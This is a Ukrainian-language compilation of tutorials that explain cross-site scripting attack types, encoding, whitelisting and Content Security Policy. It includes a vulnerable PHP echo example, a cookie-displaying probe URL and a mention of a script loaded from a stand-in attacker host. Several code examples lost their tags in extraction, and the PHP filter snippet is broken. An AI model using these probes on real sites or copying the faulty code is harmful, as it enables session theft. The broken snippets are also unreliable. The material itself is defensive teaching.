Це можна було б запобігти, просто видаливши всі лапки в вводі користувача, і все було б добре, але тільки в цьому контексті. Якщо ж введення було вставлено в інший контекст, роздільник, що закриває, буде відрізнятися і ін'єкція стане можливою. З цієї причини, безпечна обробка введення завжди повинна бути адаптована до контексту, де буде вставлено введення користувача.

Обробка вхідного/вихідного введення користувача

Інстинктивно, може здатися, що XSS можна запобігти за допомогою кодування або валідації всього введення користувача, як тільки наш сайт отримує його. Таким чином, будь-які шкідливі рядки вже будуть нейтралізовані щоразу, коли вони будуть включатися в сторінку, і скриптам генерації HTML не доведеться піклуватися про безпечну обробку введення користувача.

Проблема полягає в тому, що як було описано раніше, дані, що вводяться користувачем, можуть бути вставлені в кілька контекстів на сторінці. І ні простого способувизначити, коли введення користувача приходить в контекст — як він в кінцевому підсумку буде вставлений, і той же введення часто повинен бути вставлений в різних контекстах. Спираючись на обробку вхідного введення для запобігання XSS, ми створюємо дуже тендітне рішення, яке буде схильна до помилок. (Застарілі «чарівні лапки» PHP є прикладом такого рішення.)

Натомість обробка вихідного введення повинна бути вашою основною лінією захисту від XSS, тому що вона може брати до уваги конкретний контекст, які дані, що вводяться користувачем, будуть вставлені. Якоюсь мірою вхідну валідацію можна використовувати для додавання вторинного шару захисту, але про це пізніше.

Де можливо виконувати безпечну обробку введення користувача

У більшості сучасних веб-додатків, введення користувача обробляється як на стороні серверного коду, так і на стороні коду клієнта. З метою захисту від усіх типів XSS, безпечна обробка введення повинна бути виконана як у коді на стороні сервера, так і на стороні коду клієнта.

• Для захисту від традиційних XSS, безпечна обробка введення повинна бути виконана в коді на стороні сервера. Це робиться за допомогою будь-якої мови, яку підтримує сервер.
• З метою захисту від XSS-атаки в DOM-моделі, де сервер ніколи не отримує шкідливого рядка (наприклад, описана раніше атака через фрагмент ідентифікатора), безпечна обробка введення повинна бути виконана в коді на стороні клієнта. Це робиться за допомогою JavaScript.

Тепер, коли ми пояснили, чому контекст має значення, чому різниця між вхідною та вихідною обробкою введення має важливе значення, і чому безпечна обробка введення повинна бути виконана з обох сторін, і на стороні клієнта і на стороні сервера, ми можемо продовжити пояснити, яким чином два типи безпечної обробки введення (кодування та валідація) виконуються фактично.

Кодування

Кодування є способом виходу із ситуації коли необхідно що б введення даних браузер інтерпретував тільки як дані, а не код. Найпопулярніший тип кодування у веб-розробці, це маскування HTML, який перетворює символи, такі як< и >в< и >відповідно.

Наступний псевдокод є прикладом того, як дані, що вводяться користувачем (користувацький введення) можуть бути закодовані з використанням HTML маскування і потім вставлені в сторінку за допомогою серверного сценарію:

print ""
print "Останній коментар: "
print encodeHtml(userInput)
print ""

Якщо користувач введе наступний рядок... , результуючий HTML буде виглядати так:

Останній коментар:
...

Тому що всі символи зі спеціальним значенням були замасковані, браузер не буде розбирати будь-яку частину введення користувача, як HTML.

Кодування коду на стороні клієнта та сервера

При виконанні кодування коду з боку клієнта завжди використовується мова JavaScript, яка має вбудовані функції, які кодують дані для різних контекстів.

При виконанні кодування у коді на стороні сервера, ви покладаєтеся на функції доступні у вашій мові або фреймворку. Через великої кількостімов та доступних фреймворків, цей навчальний посібник не охоплюватиме деталі кодування в будь-якій конкретній мові сервера або фреймворку. Проте функції кодування JavaScript, що використовуються на стороні клієнта, також використовуються при написанні коду на стороні сервера.

Кодування на стороні клієнта

При кодуванні введення користувача на стороні клієнта за допомогою JavaScript є кілька вбудованих методів і властивостей, які автоматично кодують усі дані в контекстно-залежний стиль:

Останній контекст, що вже згадувався вище (значення в JavaScript) не входить до цього списку, тому що JavaScript не надає вбудований спосіб кодування даних, який буде включений в вихідний код JavaScript.

Обмеження кодування

Навіть під час кодування можливе використання зловмисних рядків у деяких контекстах. Яскравим прикладомцього є те, коли введення користувача використовується для надання URL-адреси, наприклад, у наведеному нижче прикладі:

document.querySelector("a").href = userInput

Хоча вказане значенняу властивості елемента href автоматично кодує його так, що він стає не більшим, ніж значення атрибуту, це само по собі не заважає зловмиснику вставити URL, що починається з javascript: «. При натисканні на посилання, незалежно від побудови, вбудований JavaScript всередині URL буде виконаний.

Кодування також не ефективне рішення, коли ви хочете, щоб користувачі могли використовувати частину HTML-кодів на сторінці. Прикладом може бути сторінка профілю користувача, де користувач може використовувати HTML користувача. Якщо цей звичайний HTML буде закодований, сторінка профілю може складатися лише з простого тексту.

У таких ситуаціях кодування має бути доповнено валідацією, з якою ми познайомимося далі.

Валідація

Валідація є актом фільтрації введення користувача таким чином, щоб всі шкідливі його частини були видалені, без необхідності видалення всього коду в ньому. Один з найпопулярніших видів перевірки у веб-розробці дозволяє використовувати деякі HTML-елементи (наприклад, і ), але заборонивши інші (наприклад, ).

Існують дві основні характерні перевірки, що відрізняються своїми реалізаціями:

Стратегія класифікації Введення користувача може бути класифіковано з використанням чорних або білих списків. Результат валідації Введення користувача ідентифіковане як шкідливе може бути відхилено або продезінфіковано.

Стратегія класифікації Чорний список

Інстинктивно, доцільно виконати перевірку шляхом визначення забороненого шаблону, який не повинен з'являтися в введенні користувача. Якщо рядок відповідає цьому шаблону, він позначається як недійсний. Наприклад дозволити користувачам відправляти користувацькі URL-адреси з будь-яким протоколом, за винятком javascript: . Ця стратегія класифікації називається чорний список.

Тим не менш, чорний список має дві основні недоліки:

Складність точно описувати безліч можливих шкідливих рядків, зазвичай, дуже складне завдання. Приклад політики, описаний вище, не може бути успішно реалізований шляхом простого пошукупо підрядку « javascript », тому що йому не вистачатиме рядка виду « Javascript: » (де перша літера в верхньому регістрі) і « javascript: » (де перша літера кодується як числове посилання на символ). Устаріння Навіть якщо ідеальний чорний список був би розроблений, він виявиться марним, якщо нову функцію додану в браузер буде можливо використовувати для атаки. Наприклад, якщо чорний список для валідації HTML був розроблений до введення в HTML5 атрибута onmousewheel він (чорний список) не зможе зупинити зловмисника який буде використовувати цей атрибут для виконання XSS-атаки. Цей недолік особливо важливий у веб-розробці, яка складається з багатьох різних технологій, які постійно оновлюються.

Через ці недоліки чорний список настійно не рекомендується як стратегія класифікації. Білий список, як правило, набагато безпечніший підхід, який ми опишемо далі.

Білий список

Білий списокпо суті протилежний чорному списку: замість того, щоб визначати заборонений шаблон, підхід білого списку визначає дозволений шаблон і зазначає введення недійсним, якщо він не відповідаєцього шаблону.

На відміну від чорних списків, прикладом білих списків було б дозволити користувачам відправляти URL-адреси користувача, що містять тільки протоколи http: і https: , нічого більше. Такий підхід дозволив би автоматично помітити, що URL-адреса є недійсною, якщо вона містить протокол javascript: , навіть якщо вона представлена ​​як «Javascript:» або «javascript: «.

У порівнянні з чорним списком у білих списків є дві основні переваги:

Простота Точно описувати набір безпечних рядківЯк правило, набагато простіше, ніж ідентифікувати набір всіх шкідливих рядків. Це особливо застосовно в загальних ситуаціях, коли введення користувача повинен включати в себе дуже обмежений набір функціональних можливостейдоступні в браузері. Наприклад, білий список, описаний вище, дуже просто дозволяє використовувати URL-адреси тільки з дозволеними. протоколами http: або https: , і в більшості ситуацій цього цілком достатньо для користувачів. Довговічність На відміну від чорного списку, білий список зазвичай не стають застарілими, коли нова функція додається до браузера. Наприклад, HTML валідація білим списком дозволяє тільки title атрибутам HTML-елементів залишатися безпечними, навіть якщо він (білий список) був розроблений до введення наряду атрибута HTML5.

Результат валідації

Коли введення користувача було відзначено як недійсне (заборонене), може бути прийнята одна з двох дій:

Відхилення введення просто відхиляється, запобігаючи його використанню в інших місцях на сайті. Дезінфекція всі недійсні частини введених даних видаляються, а введення, що залишилося, використовується на веб-сайті як зазвичай.

З цих двох «відхилення» є найпростішим підходом у реалізації. Але вважається, що дезінфекція є більш корисною, оскільки вона надає більше широкий діапазонвведення для користувача. Наприклад, якщо користувач надсилає номер кредитної картки, дезінфекція видаляє всі символи, що не є символами і запобігає ін'єкції коду, а також дозволяє користувачеві ввести номер, що містить дефіси, так і без них.

Якщо ви вирішили реалізувати дезінфекцію, необхідно переконатися, що сама процедура дезінфекції не використовує підхід чорного списку. Наприклад, URL-адресу «Javascript:...», навіть якщо ідентифікований з використанням білого списку як недійсний, отримав би в обхід дезінфекції підпрограму, яка просто видаляє всі екземпляри javascript: «. З цієї причини добре перевірені бібліотеки та фреймворки по можливості повинні використовувати дезінфекцію.

Які методи використовуватиме профілактики?

Кодування має бути вашою першою лінією захисту від XSS-атак, його мета в обробці даних таким чином, щоб браузер не зміг витлумачити введення користувача як код. У деяких випадках кодування має бути доповнене валідацією. Кодування та валідація повинні застосовуватися до вихідного трафіку, тому що тільки тоді ви можете знати в якому контексті буде застосовано введення користувача і яке кодування і яку валідацію необхідно застосувати.

В якості другої лінії оборони ви повинні застосовувати на вхідних даних дезінфекцію або відхилення явно недійсного введення користувача, наприклад, посилань за допомогою протоколу javascript: . Це не може само по собі забезпечити повну безпеку, але це корисний запобіжний засіб якщо в будь-якій точці захисту кодуванням і валідацією через неправильне виконання можлива помилка.

Якщо ці дві лінії оборони використовуються послідовно, ваш сайт буде захищений від атак XSS. Однак через складність створення та підтримки роботи веб-сайту забезпечення повного захисту з використанням тільки безпечної обробки введення користувача може бути утруднено. Як третя лінія оборони ви повинні використовувати Політики Безпеки Контенту ( англ. Content Security Policy), далі CSP, які ми опишемо далі.

Політики Безпеки Контенту (CSP)

Використовувати лише безпечну обробку введення користувача для захисту від XSS-атак недостатньо, тому що навіть одна помилка безпеки може поставити під загрозу ваш веб-сайт. Застосування нового веб-стандарту Політик Безпеки Контенту (CSP) може знизити цей ризик.

CSP використовуються для обмеження використання браузером веб-сторінки таким чином, що він може використовувати лише ресурси, завантажені з надійних джерел. А ресурсиявляють собою сценарії, таблиці стилів, зображення, або будь-які інші типи файлів, на які є посилання на сторінці. Це означає, що навіть якщо зловмиснику вдасться провести ін'єкцію шкідливого контенту на вашому сайті, CSP зможе запобігти його виконанню.

CSP можуть бути використані для забезпечення дотримання таких правил:

Заборона ненадійних джерел зовнішні ресурсиможуть бути завантажені лише з набору чітко визначених надійних джерел. Заборона вбудованих ресурсів вбудований JavaScript та CSS не враховуватимуться. Заборона eval заборона використання функції eval у JavaScript.

CSP у дії

У наступному прикладі зловмиснику вдалося впровадження шкідливого коду у веб-сторінку:

Останній коментар:

При правильно визначеній політиці CSP, браузер не може завантажити та виконати malicious‑script.js тому що http://attacker/ не вказаний як надійне джерело. Навіть незважаючи на те, що сайту не вдалося надійно обробляти введення даних користувача в даному випадкуполітика CSP запобігла вразливості та заподіянню будь-якої шкоди.

Навіть якщо зловмисник провів ін'єкцію кодом усередину коду сценарію, а не посиланням на зовнішній файл, правильно налаштована політика CSP також заборонить ін'єкцію в код JavaScript запобігти вразливості та заподіянню будь-якої шкоди.

Як увімкнути CSP?

За промовчанням браузери не використовують CSP. Для того, щоб увімкнути SCP на своєму веб-сайті, сторінки повинні містити додатковий заголовок HTTP: Content-Security-Policy . Будь-яка сторінка, яка містить цей заголовок, буде застосовувати політики безпеки під час завантаження браузером, за умови, що браузер підтримує CSP.

Оскільки політика безпеки надсилається з кожним HTTP-відповіддю, можна на сервері індивідуально встановити політику для кожної сторінки. Та ж політика може бути застосована до всього веб-сайт, вставляючи той самий заголовок CSP у кожному відповіді.

Значення в заголовку Content-Security-Policy містить рядок, який визначає одну або кілька політик безпеки, які будуть працювати на вашому сайті. Синтаксис цього рядка буде описано далі.

Приклади заголовків у цьому розділі використовують перенесення рядка та відступи для простоти сприйняття; вони не повинні бути присутніми у цьому заголовку.

Синтаксис CSP

Синтаксис заголовка CSP виглядає так:

Content-Security-Policy:
directive source‑expression, source‑expression, ...;
directive ...;
...

Цей синтаксис складається із двох елементів:

• Директиви (directives) є рядки, що вказують тип ресурсу, взятий із заданого списку.
• Вираз джерела (source expressions) є моделлю, що описує один чи кілька серверів від яких можуть бути завантажені ресурси.

Для кожної директиви дані у виразі джерела визначають, які джерела можна використовувати для завантаження ресурсів відповідного типу.

Директиви

Наступні директиви можуть бути використані в заголовку CSP:

• connect‑src
• font‑src
• frame‑src
• img‑src
• media‑src
• object‑src
• script‑src
• style‑src

На додаток до цього, спеціальна директива default‑src може використовуватися для того, щоб забезпечити значення за промовчанням для всіх директив, які не були включені до заголовка.

Вираз джерела

Синтаксис для створення виразу джерела виглядає так:

протокол:// ім'я-хоста: номер-порту

Ім'я хоста може починатися з * , це означає, що будь-який піддомен наданого імені хоста буде дозволено. Аналогічно номер порту може бути представлений у вигляді * , це означає, що всі порти будуть дозволені. Крім того, протокол та номер порту можуть бути пропущені. Якщо протокол не вказаний, політика вимагатиме, щоб всі ресурси були завантажені за допомогою HTTPS.

На додаток до зазначеного вище синтаксису, вираз джерела може як альтернатива бути одним з чотирьох ключових слівзі спеціальним значенням (лапки включені):

"None" забороняє ресурси. "self" дозволяє ресурси з хоста, на якому знаходиться веб-сторінка. "unsafe-inline" дозволяє ресурси, що містяться на сторінці як інтегровані елементи, елементи, і javascript: URL-адреси. "unsafe-eval" дозволяє JavaScript функцію eval.

Зверніть увагу, що кожного разу, коли використовується CSP, вбудовані ресурси та eval за замовчуванням автоматично заборонені. Використання "unsafe-inline" та "unsafe-eval" єдиний спосібїх використання.

Приклад політики

Content-Security-Policy:
script-src "self" scripts.example.com;
media-src "none";
img-src*;
default‑src "self" http://*.example.com

З цим прикладом політики веб-сторінка матиме такі обмеження:

• Скрипти можуть бути завантажені тільки з хоста, на якому знаходиться веб-сторінка і з цієї адреси: scripts.example.com .
• Аудіо та відео файли заборонені до завантаження.
• Файли зображень можуть бути завантажені з будь-якої адреси.
• Всі інші ресурси можуть бути завантажені тільки з хоста, на якому знаходиться веб-сторінка і з будь-якого піддомену example.com.

Статус CSP

На червень 2013 року Політики Безпеки Контенту рекомендуються консорціумом W3C. CSP реалізується розробниками браузерів, але деякі його частини специфічні для різних браузерів. Наприклад, використання заголовка HTTP може відрізнятися між браузерами. Перед використанням CSP зверніться до документації браузерів, які ви маєте намір підтримувати.

Резюме Резюме: Огляд XSS

• XSS-атака є ін'єкцією коду, атака стала можливою завдяки незахищеній обробці введення користувача.
• Успішна XSS-атака дозволяє зловмиснику виконати шкідливий JavaScript у браузері жертви.
• Успішна XSS-атака загрожує безпеці як веб-сайту, так і його користувачів.

Резюме: XSS-атаки

• Існують три основні типи XSS-атак:
  • Збережені XSS, де шкідливе введення бере свій початок з бази даних веб-сайту.
  • Відбиті XSS, де шкідливе введення бере свій початок від запиту жертви.
  • XSS-атаки в DOM-моделі, де вразливість експлуатується в коді за клієнта, а чи не за сервера.
• Всі ці атаки виконуються по-різному, але мають той самий ефект у разі успіху.

Резюме: Запобігання XSS

• Самий важливий спосібзапобігання XSS атак, це виконання безпечної обробки введення.
  • Кодування повинно виконуватися щоразу, коли увімкнено введення користувача на сторінці.
  • У деяких випадках кодування має бути замінене або доповнене валідацією.
  • Безпечна обробка введення повинна враховувати в який контекст сторінки вставляється введення користувача.
  • Для того, щоб запобігти всіма видами XSS-атак, безпечна обробка введення повинна виконуватися в коді як на стороні клієнта, так і на стороні сервера.
• Політики безпеки контенту (CSP) забезпечують додатковий рівеньзахисту якщо безпечна обробка введення містить помилку.

Додаток Термінологія

Слід зазначити, що існує перехрестя в термінології використовуваної для опису XSS: XSS-атака в DOM-моделі може бути збереженою або відображеною; це окремі види атак. Немає загальноприйнятої термінології, яка охоплює всі типи XSS без змішування. Незалежно від термінології використовуваної для опису XSS, найголовніше визначити тип атаки, це можливо якщо знати від куди надходить шкідливе введення і де знаходиться вразливість.

Права використання та посилання

The source code for Excess XSS is available on GitHub .

Excess XSSбув створений в 2013 році як частина Language-Based Security course at Chalmers University of Technology .

Переклад російською мовою виконав A888R , оригінальний текст англійською: excess-xss.com, зауваження, пропозиції та помилки в перекладі надіслати сюди

Стаття "Забезпечення безпеки веб-сайтів" надана Sophos Plc та SophosLabs.

Грудень 2007 р.

Цей видатак спрямований на веб-сайти, що відображають дані, що вводяться користувачами. Замість спроби контролю над базою даних шляхом введення шкідливого коду зловмисник намагається атакувати код самого веб-сайту, впроваджуючи в нього шкідливі сегменти.

Багато сайтів зберігають імена всіх відвідувачів у базі даних, щоб мати можливість відображати їх під час введення відповідних користувачів. Зловмисник може створити фальшивий обліковий запис, розмістивши при цьому в полі імені шкідливий код. Подібні атаки зазвичай реалізуються за допомогою шкідливих скриптів на мовою Javascript, які потім завантажують вміст з іншого веб-сайту. Передбачається, що у базі даних зберігається ім'я користувача, але насправді це буде шкідливий код. Відповідно, якщо веб-сайт відображає ім'я користувача у верхній частині сторінки, цей код буде виконано. Оскільки за наявності певних умов такий код може робити практично все що завгодно, загроза стає цілком реальною; Тим не менш, розробники часто про неї забувають. За Останнім часомжертвами XSS-атак стали багато популярних веб-сайтів, у тому числі MySpace, Facebook, Google Mail, ВКонтакті.

Примітка.

Розглянемо наступний PHP-код:

$firstname = $_POST[\"firstname\"]; echo \"Your name: $firstname\";

Після введення імені у веб-формі, сайт відображає на сторінці відповідне повідомлення. Якщо вказати у формі ім'я "Chris", то повідомлення матиме такий вигляд: "Your name: Chris".

Що станеться, якщо замість імені ввести таку конструкцію: alert („You just got hacked!“); ?

На жаль, XSS-атакам часто важко щось протиставити, оскільки для цього необхідно належним чином фільтрувати дані, що вводяться і виводяться, а також всі поля, які можуть змінюватися користувачами. Сюди відносяться дані, що отримуються з запитів GETта POST, а також запити, що повертаються з бази даних.

У PHP є ціла низка пакетів, які допомагають фільтрувати виведені дані, наприклад, CodeIgniter Також у PHP є вбудована функція htmlspecialchars , яку можна використовувати для фільтрації даних, що виводяться.

XSS (міжсайтовий скриптинг) - один із різновидів атак на веб-системи, що передбачає впровадження шкідливого коду на певну сторінку сайту та взаємодію цього коду з віддаленим сервером зловмисників при відкритті сторінки користувачем.

Термін з англійської розшифровується як Cross-Site Scripting, але отримав абревіатуру XSS, щоб не було плутанини з CSS (каскадні таблиці стилів).

Як працює міжсайтовий скриптинг

Основна мета міжсайтового скриптингу - крадіжка cookies користувачів за допомогою вбудованого на сервері скрипту з подальшою вибіркою необхідних даних та використанням їх для наступних атак та зломів. Зловмисник здійснює атаку користувачів не безпосередньо, а з використанням уразливостей веб-сайту, який відвідують жертви, та впроваджує спеціальний JavaScript. У браузері в користувачів цей код відображається як єдина частина сайту. При цьому відвідуваний ресурс є співучасником XSS-атаки.

Якщо порівнювати з SQL-ін'єкціями, XSS безпечний для сервера, але несе загрозу для користувачів зараженого ресурсу або сторінки. Однак, якщо до зловмисника потраплять cookies адміністратора, можна отримати доступ до панелі керування сайтом та його вмісту.

Методика атаки через XSS

Запуск шкідливого коду JavaScript можливий тільки в браузері жертви, тому сайт, на який користувач зайде, повинен мати вразливість до XSS. Для атаки зловмисник спочатку перевіряє ресурси на наявність уразливостей через XSS, використовуючи автоматизовані скрипти або ручний режим пошуку. Зазвичай це стандартні форми, які можуть надсилати та приймати запити (коментарі, пошук, зворотний зв'язок).

Проводиться повний збірсторінок з формами введення та кожна сканується на наявність уразливостей. Наприклад, у нас є сторінка "Пошук" на сайті. Для перевірки вразливості XSS достатньо ввести запит:

Якщо на екрані з'явиться повідомлення, ви виявили пролом в безпеці. В іншому випадку система відобразить сторінку з результатами пошуку. Основні популярні CMS вже давно втратили подібні проблеми, але через можливість розширення функціоналу за рахунок модулів і плагінів, створюваних сторонніми розробниками, шанси на використання вразливостей XSS зростають у рази, особливо в Joomla, DLE, Bitrix, Wordpress. Найчастіше XSS-уразливості перевіряються в браузері Internet Explorer.

Ще один можливий варіантпошуку – використання сторінок, які обробляють GET-запити. Допустимо, у нас є посилання виду: http://site.ru/catalog?p=8

В адресному рядку замість ідентифікатора (8) додаємо скрипт - alert("cookie: "+document.cookie) , в результаті чого отримуємо посилання такого виду: http://site.ru/catalog?p= ">alert(" cookie: "+document.cookie).

Якщо сторінка має вразливість XSS, на екрані з'явиться повідомлення такого самого плану, як у першому випадку.

Для пошуку «дір» на сайті існує безліч готових скриптів і запитів, і якщо жоден з них не підходить, значить ресурс надійно захищений від подібних атак.

Загальна класифікація XSS

Чіткої класифікації для міжсайтового скриптингу не існує, але експертами по всьому світу виділено три основні типи.

Зберігають XSS (постійні) . Один з найбільш небезпечних типіввразливостей, оскільки дозволяє зловмиснику отримати доступ до сервера і вже з нього керувати шкідливим кодом (видаляти, модифікувати). Щоразу при зверненні до сайту виконується заздалегідь завантажений код, що працює автоматично. В основному таким уразливим зазнають форуми, портали, блоги, де є можливість коментування в HTML без обмежень. Шкідливі скрипти з легкістю можуть бути вбудовані як у текст, так і картинки, малюнки.

Відображені XSS (непостійні). У цьому випадку шкідливий рядок виступає в ролі запиту жертви до зараженого сайту. Працює цей принцип за наступною схемою:

Зловмисник заздалегідь створює URL-посилання, яке міститиме шкідливий код і відправляє його своїй жертві.

Вона надсилає цей URL-запит на сайт (переходить за посиланням).

Сайт автоматично бере дані зі шкідливого рядка та підставляє у вигляді модифікованого URL-відповіді жертві.

У результаті в браузері у жертви виконується шкідливий скрипт, який і міститься у відповіді, а зловмисник отримує всі cookies цього користувача.

DOM-моделі. У цьому варіанті можливе використання як збережених XSS, так і відбитих. Суть полягає в наступному:

Зловмисник створює URL-адресу, яка заздалегідь містить шкідливий код, і надсилає його електронною поштою або будь-яким іншим способом користувачеві.

Людина переходить за цим посиланням, заражений сайт приймає запит, крім шкідливого рядка.

На сторінці користувача виконується сценарій, внаслідок чого завантажується шкідливий скрипт і зловмисник отримує cookies.

Види XSS за способом взаємодії

Так як основна мета зловмисника - запустити шкідливий скрипт на комп'ютері жертви, існує ще й два основні типи XSS-атак за способом взаємодії.

Пасивні. Від жертви потрібна певна дія, щоб викликати обробник подій та запустити шкідливий скрипт у встановленій формі. Для цього використовується соціальна інженерія, наприклад, відправлення електронного листа із закликом перейти за посиланням і натиснути на певну область на сайті. Як тільки користувач наведе на потрібний об'єкт і натисне на нього, запуститься шкідливий скрипт. Якщо ж жертва не діє, код не буде активовано.

Активні. Зловмиснику не потрібно заманювати жертву за спеціальними посиланнями, оскільки код вбудовується в базах даних або в будь-якому виконуваному файліна сервері. Від користувача не вимагається активності. У формах введення, як правило, встановлений спеціальний обробник подій, що автоматично активується при попаданні на цю сторінку. У результаті всі користувачі, які перейшли за цим посиланням, стануть жертвами зловмисника.

Як перевірити сайт на наявність уразливостей XSS та захистити його

Для швидкої перевіркисайту на наявність уразливостей XSS можна скористатися спеціалізованими сервісами, які автоматично проведуть сканування сторінки. В обов'язковому порядку потрібно перевіряти всі URL, де можливе надсилання даних з боку користувача (форми коментарів, зворотний зв'язок, пошук). Як приклад, можете використовувати http://xss-scanner.com, але не варто обмежуватися лише одним інструментом.

Подібні сервіси не дають повної гарантії успіху, тому рекомендуємо перевіряти знайдені сторінки ручному режиміта обов'язково виключити всі небезпечні спецсимволи, замінивши їх безпечними. Йдеться про дужки< и >, в яких і прописуються всі зарезервовані мовою html-запити та теги

Наприклад, для швидкої фільтрації та автоматичної заміниспецсимволів< и >ви можете використовувати наступний код на сайті:

$filter = array("");

$_GET["q"]=str_replace ($filter, "|", $_GET["q"]).

Декілька порад щодо запобігання використанню XSS на вашому сайті:

Якщо на вашому сайті включено введення користувача, повинно виконуватися кодування.

Якщо в деяких ситуаціях кодування неможливе або недоречне, замінюйте його або доповнюйте валідацією.

Безпечна обробка даних повинна виконуватися в коді не тільки на вашому веб-сервері, але і на стороні користувача (клієнта).

Якщо використовуєте популярні CMS, наприклад Wordpress, Bitrix, Joomla, регулярно оновлюйте версії движка та всіх встановлених модулівта плагінів. За умовчанням більшість найпоширеніших систем для керування сайтів захищені від використання XSS, а ось сторонні плагіни з неперевірених джерел можуть містити вразливість.